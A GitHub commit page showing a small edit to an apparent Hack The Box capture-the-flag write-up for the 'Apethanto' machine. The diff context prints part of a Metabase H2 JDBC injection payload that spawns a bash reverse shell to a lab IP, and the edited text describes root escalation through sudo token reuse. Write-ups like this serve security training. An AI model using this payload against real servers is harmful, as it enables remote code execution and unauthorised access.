Skip to content

Commit

Permalink
Update 2023-12-11-htb-ctf-Apethanto.md
Browse files Browse the repository at this point in the history
  • Loading branch information
sailingnn authored Dec 12, 2023
1 parent a6f7b81 commit e14d6b0
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion _posts/2023-12-11-htb-ctf-Apethanto.md
Original file line number Diff line number Diff line change
Expand Up @@ -42,4 +42,4 @@ Cookie: metabase.DEVICE=f3ea3cf5-2c76-4908-a5d9-0f379a5ec7e4
"subname":"mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(new String[]{\"bash\", \"-c\", cmd})\\;}$$\\;CALL SHELLEXEC('sh -i >& /dev/tcp/10.10.14.214/443 0>&1');"},"name":"x","engine":"postgres"}}
```

For privilege escalation, I noticed the routine of "expect" and "sudo" in it. However, I could not find a keyword to a valid PE path. After hours of wandering around, I started to check each result of linpeas.sh from the top down. Googling this "ptrace protection is disabled (0), so sudo tokens could be abused" line leads me to this [sudo_inject GitHub page](https://github.com/nongiach/sudo_inject). The Hacktricks page of [reusing-sudo-tokens](https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens) is also helpful. I used exploit_v2.sh in the sudo inject GitHub page to get a root shell.
For privilege escalation, I noticed the routine of "expect" and "sudo" from the root user. However, I could not find a keyword to a valid PE path. After hours of wandering around, I started to check each result of linpeas.sh from the top down. Googling this "ptrace protection is disabled (0), so sudo tokens could be abused" line leads me to this [sudo_inject GitHub page](https://github.com/nongiach/sudo_inject). The Hacktricks page of [reusing-sudo-tokens](https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens) is also helpful. I used exploit_v2.sh in the sudo inject GitHub page to get a root shell.

0 comments on commit e14d6b0

Please sign in to comment.